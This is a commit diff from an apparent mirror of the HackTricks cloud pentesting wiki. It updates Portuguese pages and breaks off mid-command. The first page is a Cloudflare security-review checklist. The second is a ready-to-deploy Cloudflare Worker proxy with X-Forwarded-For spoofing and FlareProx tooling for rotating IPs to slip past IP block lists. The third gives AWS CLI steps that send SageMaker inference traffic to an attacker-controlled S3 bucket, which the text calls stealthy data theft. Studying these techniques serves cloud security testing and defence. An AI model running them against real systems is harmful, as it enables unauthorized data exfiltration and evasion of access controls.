mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers
This commit is contained in:
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Em uma conta do Cloudflare, existem algumas **configurações gerais e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
|
||||
Em uma conta Cloudflare existem algumas **configurações e serviços gerais** que podem ser configurados. Nesta página vamos **analisar as configurações relacionadas à segurança de cada seção:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
## Sites
|
||||
|
||||
Revise cada um com:
|
||||
Revisar cada um com:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -16,62 +16,68 @@ cloudflare-domains.md
|
||||
|
||||
### Registro de Domínio
|
||||
|
||||
- [ ] Em **`Transfer Domains`**, verifique se não é possível transferir nenhum domínio.
|
||||
- [ ] Em **`Transfer Domains`** verifique que não é possível transferir nenhum domínio.
|
||||
|
||||
Revise cada um com:
|
||||
Revisar cada um com:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
## Análises
|
||||
## Analytics
|
||||
|
||||
_Eu não consegui encontrar nada para verificar em uma revisão de segurança de configuração._
|
||||
_Não encontrei nada para verificar em uma revisão de configuração de segurança._
|
||||
|
||||
## Páginas
|
||||
## Pages
|
||||
|
||||
Em cada página do Cloudflare:
|
||||
Em cada Page do Cloudflare:
|
||||
|
||||
- [ ] Verifique se há **informações sensíveis** no **`Build log`**.
|
||||
- [ ] Verifique se há **informações sensíveis** no **repositório do Github** atribuído às páginas.
|
||||
- [ ] Verifique se há potencial comprometimento do repositório do github via **injeção de comando de workflow** ou comprometimento de `pull_request_target`. Mais informações na [**página de Segurança do Github**](../github-security/).
|
||||
- [ ] Verifique se há **funções vulneráveis** no diretório `/fuctions` (se houver), verifique os **redirecionamentos** no arquivo `_redirects` (se houver) e **cabeçalhos mal configurados** no arquivo `_headers` (se houver).
|
||||
- [ ] Verifique se há **vulnerabilidades** na **página da web** via **blackbox** ou **whitebox** se você puder **acessar o código**.
|
||||
- [ ] Nos detalhes de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifique se há **informações sensíveis** nas **`Variáveis de Ambiente`**.
|
||||
- [ ] Na página de detalhes, verifique também o **comando de build** e o **diretório raiz** para **potenciais injeções** que possam comprometer a página.
|
||||
- [ ] Verifique por **informação sensível** no **`Build log`**.
|
||||
- [ ] Verifique por **informação sensível** no repositório Github atribuído às Pages.
|
||||
- [ ] Verifique possível comprometimento do repositório Github via **workflow command injection** ou comprometimento por `pull_request_target`. Mais info na [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Verifique por **funções vulneráveis** no diretório `/fuctions` (se houver), verifique os **redirects** no arquivo `_redirects` (se houver) e **headers mal configurados** no arquivo `_headers` (se houver).
|
||||
- [ ] Verifique **vulnerabilidades** na **página web** via **blackbox** ou **whitebox** se você puder **acessar o código**.
|
||||
- [ ] Nos detalhes de cada Page `/<page_id>/pages/view/blocklist/settings/functions`. Verifique por **informação sensível** nas **`Environment variables`.**
|
||||
- [ ] Na página de detalhes verifique também o **build command** e o **root directory** por **potenciais injections** para comprometer a Page.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Em cada worker do Cloudflare, verifique:
|
||||
Em cada Worker do Cloudflare, verifique:
|
||||
|
||||
- [ ] Os gatilhos: O que faz o worker ser acionado? Um **usuário pode enviar dados** que serão **usados** pelo worker?
|
||||
- [ ] Nas **`Configurações`**, verifique se há **`Variáveis`** contendo **informações sensíveis**.
|
||||
- [ ] Verifique o **código do worker** e procure por **vulnerabilidades** (especialmente em lugares onde o usuário pode gerenciar a entrada).
|
||||
- Verifique SSRFs retornando a página indicada que você pode controlar.
|
||||
- Verifique XSSs executando JS dentro de uma imagem svg.
|
||||
- É possível que o worker interaja com outros serviços internos. Por exemplo, um worker pode interagir com um bucket R2 armazenando informações obtidas da entrada. Nesse caso, seria necessário verificar quais capacidades o worker tem sobre o bucket R2 e como isso poderia ser abusado a partir da entrada do usuário.
|
||||
- [ ] Os triggers: O que faz o Worker disparar? Um **usuário pode enviar dados** que serão **usados** pelo Worker?
|
||||
- [ ] Em **`Settings`**, verifique por **`Variables`** que contenham **informação sensível**
|
||||
- [ ] Verifique o **código do worker** e procure por **vulnerabilidades** (especialmente em locais onde o usuário pode controlar a entrada)
|
||||
- Verifique por SSRFs que retornem a página indicada que você pode controlar
|
||||
- Verifique por XSSs executando JS dentro de uma imagem svg
|
||||
- É possível que o worker interaja com outros serviços internos. Por exemplo, um worker pode interagir com um bucket R2 armazenando informação nele obtida da entrada. Nesse caso, é necessário verificar quais capacidades o worker tem sobre o bucket R2 e como isso pode ser abusado a partir da entrada do usuário.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que, por padrão, um **Worker recebe uma URL** como `<worker-name>.<account>.workers.dev`. O usuário pode configurá-la para um **subdomínio**, mas você sempre pode acessá-la com essa **URL original** se souber.
|
||||
> Note que por padrão um **Worker recebe uma URL** como `<worker-name>.<account>.workers.dev`. O usuário pode configurá-la para um **subdomain**, mas você sempre pode acessá-la com essa **URL original** se souber dela.
|
||||
|
||||
Para um abuso prático de Workers como pass-through proxies (IP rotation, FireProx-style), veja:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
Em cada bucket R2, verifique:
|
||||
Em cada bucket R2 verifique:
|
||||
|
||||
- [ ] Configure a **Política de CORS**.
|
||||
- [ ] Configure a **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
TODO
|
||||
|
||||
## Imagens
|
||||
## Images
|
||||
|
||||
TODO
|
||||
|
||||
## Centro de Segurança
|
||||
## Security Center
|
||||
|
||||
- [ ] Se possível, execute uma **varredura de `Security Insights`** e uma **varredura de `Infrastructure`**, pois elas **destacarão** informações interessantes em termos de **segurança**.
|
||||
- [ ] Apenas **verifique essas informações** para configurações de segurança inadequadas e informações interessantes.
|
||||
- [ ] Se possível, execute um **`Security Insights`** **scan** e um **`Infrastructure`** **scan**, pois eles irão **destacar** informações interessantes do ponto de vista de **segurança**.
|
||||
- [ ] Apenas **verifique estas informações** em busca de misconfigurações de segurança e informações interessantes
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -83,52 +89,52 @@ TODO
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
## Redirecionamentos em Massa
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> Ao contrário dos [Redirecionamentos Dinâmicos](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), os [**Redirecionamentos em Massa**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) são essencialmente estáticos — eles não suportam operações de substituição de string ou expressões regulares. No entanto, você pode configurar parâmetros de redirecionamento de URL que afetam seu comportamento de correspondência de URL e seu comportamento em tempo de execução.
|
||||
> Ao contrário dos [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) são essencialmente estáticas — elas não suportam nenhuma operação de **substituição de string** ou expressões regulares. Entretanto, você pode configurar parâmetros de redirect de URL que afetam seu comportamento de correspondência de URL e seu comportamento em runtime.
|
||||
|
||||
- [ ] Verifique se as **expressões** e **requisitos** para redirecionamentos **fazem sentido**.
|
||||
- [ ] Verifique também se há **endpoints ocultos sensíveis** que contenham informações interessantes.
|
||||
- [ ] Verifique se as **expressões** e **regras** para redirects **fazem sentido**.
|
||||
- [ ] Verifique também por **endpoints ocultos sensíveis** que contenham informações interessantes.
|
||||
|
||||
## Notificações
|
||||
## Notifications
|
||||
|
||||
- [ ] Verifique as **notificações.** Essas notificações são recomendadas para segurança:
|
||||
- `Uso Baseado em Cobrança`
|
||||
- `Alerta de Ataque DDoS HTTP`
|
||||
- `Alerta de Ataque DDoS Camada 3/4`
|
||||
- `Alerta de Ataque DDoS HTTP Avançado`
|
||||
- `Alerta de Ataque DDoS Camada 3/4 Avançado`
|
||||
- `Monitoramento Baseado em Fluxo: Ataque Volumétrico`
|
||||
- `Alerta de Detecção de Vazamento de Rota`
|
||||
- `Alerta de Expiração de Certificado mTLS de Acesso`
|
||||
- `Alerta de SSL para Nomes de Host Personalizados SaaS`
|
||||
- `Alerta de SSL Universal`
|
||||
- `Alerta de Detecção de Nova Mudança de Código no Monitor de Script`
|
||||
- `Alerta de Novo Domínio no Monitor de Script`
|
||||
- `Alerta de Novo Domínio Malicioso no Monitor de Script`
|
||||
- `Alerta de Novo Script Malicioso no Monitor de Script`
|
||||
- `Alerta de Nova URL Maliciosa no Monitor de Script`
|
||||
- `Alerta de Novos Scripts no Monitor de Script`
|
||||
- `Alerta de Novo Script Excede o Comprimento Máximo da URL no Monitor de Script`
|
||||
- `Alerta de Eventos de Segurança Avançados`
|
||||
- `Alerta de Eventos de Segurança`
|
||||
- [ ] Verifique todos os **destinos**, pois pode haver **informações sensíveis** (autenticação http básica) nas URLs de webhook. Certifique-se também de que as URLs de webhook usem **HTTPS**.
|
||||
- [ ] Como verificação extra, você pode tentar **impersonar uma notificação do cloudflare** para um terceiro, talvez você consiga **injetar algo perigoso** de alguma forma.
|
||||
- [ ] Verifique as **notifications.** Estas notificações são recomendadas para segurança:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Verifique todos os **destinos**, pois pode haver **informação sensível** (basic http auth) em webhook urls. Certifique-se também que webhook urls usem **HTTPS**
|
||||
- [ ] Como verificação extra, você pode tentar **imitar uma notificação do Cloudflare** para um terceiro; talvez consiga de alguma forma **injetar algo perigoso**
|
||||
|
||||
## Gerenciar Conta
|
||||
## Manage Account
|
||||
|
||||
- [ ] É possível ver os **últimos 4 dígitos do cartão de crédito**, o **tempo de expiração** e o **endereço de cobrança** em **`Billing` -> `Payment info`**.
|
||||
- [ ] É possível ver os **últimos 4 dígitos do cartão de crédito**, a **data de expiração** e o **endereço de cobrança** em **`Billing` -> `Payment info`**.
|
||||
- [ ] É possível ver o **tipo de plano** usado na conta em **`Billing` -> `Subscriptions`**.
|
||||
- [ ] Em **`Members`**, é possível ver todos os membros da conta e seu **papel**. Note que, se o tipo de plano não for Enterprise, existem apenas 2 papéis: Administrador e Super Administrador. Mas se o **plano utilizado for Enterprise**, [**mais papéis**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usados para seguir o princípio do menor privilégio.
|
||||
- Portanto, sempre que possível, é **recomendado** usar o **plano Enterprise**.
|
||||
- [ ] Em Membros, é possível verificar quais **membros** têm **2FA habilitado**. **Todo** usuário deve tê-lo habilitado.
|
||||
- [ ] Em **`Members`** é possível ver todos os membros da conta e seu **role**. Note que se o tipo de plano não for Enterprise, existem apenas 2 roles: Administrator e Super Administrator. Mas se o **plano for Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usados para seguir o princípio do menor privilégio.
|
||||
- Portanto, sempre que possível é **recomendado** usar o **Enterprise plan**.
|
||||
- [ ] Em Members é possível verificar quais **membros** têm **2FA ativado**. **Todo** usuário deve tê-lo ativado.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que, felizmente, o papel **`Administrador`** não dá permissões para gerenciar associações (**não pode escalar privilégios ou convidar** novos membros).
|
||||
> Note que felizmente o role **`Administrator`** não dá permissões para gerenciar membros (**não pode escalar privilégios nem convidar** novos membros)
|
||||
|
||||
## Investigação de DDoS
|
||||
## DDoS Investigation
|
||||
|
||||
[Verifique esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Veja esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers podem ser implantados como transparentes HTTP pass-through proxies onde a URL de destino upstream é fornecida pelo cliente. As requisições egressam pela rede do Cloudflare, portanto o alvo observa os IPs do Cloudflare em vez dos do cliente. Isso espelha a conhecida técnica FireProx no AWS API Gateway, mas usa Cloudflare Workers.
|
||||
|
||||
### Key capabilities
|
||||
- Suporte a todos os métodos HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- O destino pode ser fornecido via parâmetro de query (?url=...), um header (X-Target-URL), ou até codificado no path (por exemplo, /https://target)
|
||||
- Headers e corpo são proxied através com filtragem hop-by-hop/headers conforme necessário
|
||||
- Respostas são retransmitidas de volta, preservando o status code e a maioria dos headers
|
||||
- Falsificação opcional de X-Forwarded-For (se o Worker o definir a partir de um header controlado pelo usuário)
|
||||
- Rotação extremamente rápida/fácil ao implantar múltiplos endpoints do Worker e distribuir (fan-out) as requisições
|
||||
|
||||
### How it works (flow)
|
||||
1) O cliente envia uma requisição HTTP para um URL do Worker (`<name>.<account>.workers.dev` ou uma rota em domínio customizado).
|
||||
2) O Worker extrai o destino a partir de um parâmetro de query (?url=...), do header X-Target-URL, ou de um segmento do path se implementado.
|
||||
3) O Worker encaminha o método, headers e corpo recebidos para a URL upstream especificada (filtrando headers problemáticos).
|
||||
4) A resposta upstream é transmitida de volta para o cliente através do Cloudflare; a origem vê os IPs de egress do Cloudflare.
|
||||
|
||||
### Worker implementation example
|
||||
- Lê a URL de destino a partir do parâmetro de query, header ou path
|
||||
- Copia um subconjunto seguro de headers e encaminha o método/corpo originais
|
||||
- Opcionalmente define X-Forwarded-For usando um header controlado pelo usuário (X-My-X-Forwarded-For) ou um IP aleatório
|
||||
- Adiciona CORS permissivo e trata preflight
|
||||
|
||||
<details>
|
||||
<summary>Exemplo Worker (JavaScript) para pass-through proxying</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Automatizando implantação e rotação com FlareProx
|
||||
|
||||
FlareProx é uma ferramenta Python que usa a Cloudflare API para implantar vários endpoints do Worker e rotacionar entre eles. Isso fornece rotação de IP no estilo FireProx a partir da rede da Cloudflare.
|
||||
|
||||
Configuração
|
||||
1) Crie um Cloudflare API Token usando o “Edit Cloudflare Workers” template e obtenha seu Account ID no dashboard.
|
||||
2) Configure o FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Crie o arquivo de configuração flareprox.json:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**Uso do CLI**
|
||||
|
||||
- Criar N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Listar endpoints:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Endpoints de verificação de saúde:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Excluir todos os endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Encaminhando tráfego através de um Worker**
|
||||
- Formato de parâmetro de consulta:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Formulário de cabeçalho:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Formato de caminho (se implementado):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Exemplos de métodos:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**Controle de `X-Forwarded-For`**
|
||||
|
||||
Se o Worker respeitar `X-My-X-Forwarded-For`, você pode influenciar o valor `X-Forwarded-For` a montante:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Uso programático**
|
||||
|
||||
Use a biblioteca FlareProx para criar/listar/testar endpoints e rotear requisições em Python.
|
||||
|
||||
<details>
|
||||
<summary>Exemplo em Python: Enviar um POST via um endpoint Worker aleatório</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Integração Burp/Scanner**
|
||||
- Aponte as ferramentas (por exemplo, Burp Suite) para a Worker URL.
|
||||
- Forneça o upstream real usando ?url= ou X-Target-URL.
|
||||
- HTTP semantics (methods/headers/body) são preservadas enquanto seu IP de origem fica mascarado por trás do Cloudflare.
|
||||
|
||||
**Notas operacionais e limites**
|
||||
- O plano Free do Cloudflare Workers permite aproximadamente 100.000 requisições/dia por conta; use múltiplos endpoints para distribuir o tráfego, se necessário.
|
||||
- Os Workers rodam na rede do Cloudflare; muitos alvos verão apenas os IPs/ASN do Cloudflare, o que pode contornar listas de allow/deny por IP ingênuas ou heurísticas geográficas.
|
||||
- Use com responsabilidade e somente com autorização. Respeite o ToS e robots.txt.
|
||||
|
||||
## Referências
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abuse SageMaker endpoint management to enable full request/response capture to an attacker‑controlled S3 bucket without touching the model or container. Uses a zero/low‑downtime rolling update and only requires endpoint management permissions.
|
||||
Abuse o gerenciamento de endpoints do SageMaker para habilitar captura completa de requisição/resposta para um bucket S3 controlado pelo atacante sem tocar no modelo ou container. Usa uma atualização rolling com downtime zero/baixo e requer apenas permissões de gerenciamento do endpoint.
|
||||
|
||||
### Requisitos
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (ou use um bucket existente na mesma conta)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: um endpoint real‑time InService existente na mesma conta/região
|
||||
- Opcional (se usar SSE‑KMS): `kms:Encrypt` na CMK escolhida
|
||||
- Alvo: um endpoint real‑time InService existente na mesma conta/região
|
||||
|
||||
### Etapas
|
||||
1) Identifique um endpoint InService e obtenha as variantes de produção atuais
|
||||
1) Identificar um endpoint InService e coletar as variantes de produção atuais
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Prepare o destino S3 do atacante para capturas
|
||||
2) Preparar destino S3 do attacker para capturas
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Crie um novo EndpointConfig que mantenha as mesmas variantes mas ative DataCapture para o bucket do atacante
|
||||
3) Crie um novo EndpointConfig que mantenha as mesmas variantes, mas habilite DataCapture para o attacker bucket
|
||||
|
||||
Nota: Use explicit content types que satisfaçam a validação do CLI.
|
||||
Nota: Use tipos de conteúdo explícitos que satisfaçam a validação do CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,7 +54,7 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Aplique a nova config com um rolling update (tempo de inatividade mínimo/nulo)
|
||||
4) Aplicar a nova config com um rolling update (tempo de inatividade mínimo/nulo)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
@@ -71,27 +71,28 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impacto
|
||||
- Exfiltração completa dos payloads de requisição e resposta de inferência em tempo real (e metadados) do endpoint alvo para um S3 bucket controlado pelo atacante.
|
||||
- Sem alterações na imagem do modelo/container e apenas mudanças no nível do endpoint, permitindo um caminho de roubo de dados furtivo com interrupção operacional mínima.
|
||||
- Full exfiltration de payloads de requisições e respostas de inferência em tempo real (e metadados) do endpoint alvo para um bucket S3 controlado pelo atacante.
|
||||
- Sem alterações na model/container image e apenas mudanças a nível de endpoint, permitindo um stealthy data theft path com mínima interrupção operacional.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abuse o gerenciamento do endpoint para redirecionar as saídas de inferência assíncrona para um S3 bucket controlado pelo atacante clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltra as previsões do modelo (e quaisquer inputs transformados incluídos pelo container) sem modificar o modelo/container.
|
||||
Abusar do gerenciamento do endpoint para redirecionar as saídas de inferência assíncrona para um bucket S3 controlado pelo atacante, clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltrates as previsões do modelo (e quaisquer entradas transformadas incluídas pelo container) sem modificar o model/container.
|
||||
|
||||
### Requisitos
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Capacidade de gravar no S3 bucket controlado pelo atacante (via a model execution role ou uma política de bucket permissiva)
|
||||
- S3: Capacidade de gravar no bucket S3 controlado pelo atacante (via a função de execução do modelo ou uma política de bucket permissiva)
|
||||
- Alvo: Um endpoint InService onde invocações assíncronas são (ou serão) usadas
|
||||
|
||||
### Etapas
|
||||
1) Colete os ProductionVariants atuais do endpoint alvo
|
||||
1) Obter os ProductionVariants atuais do endpoint alvo
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
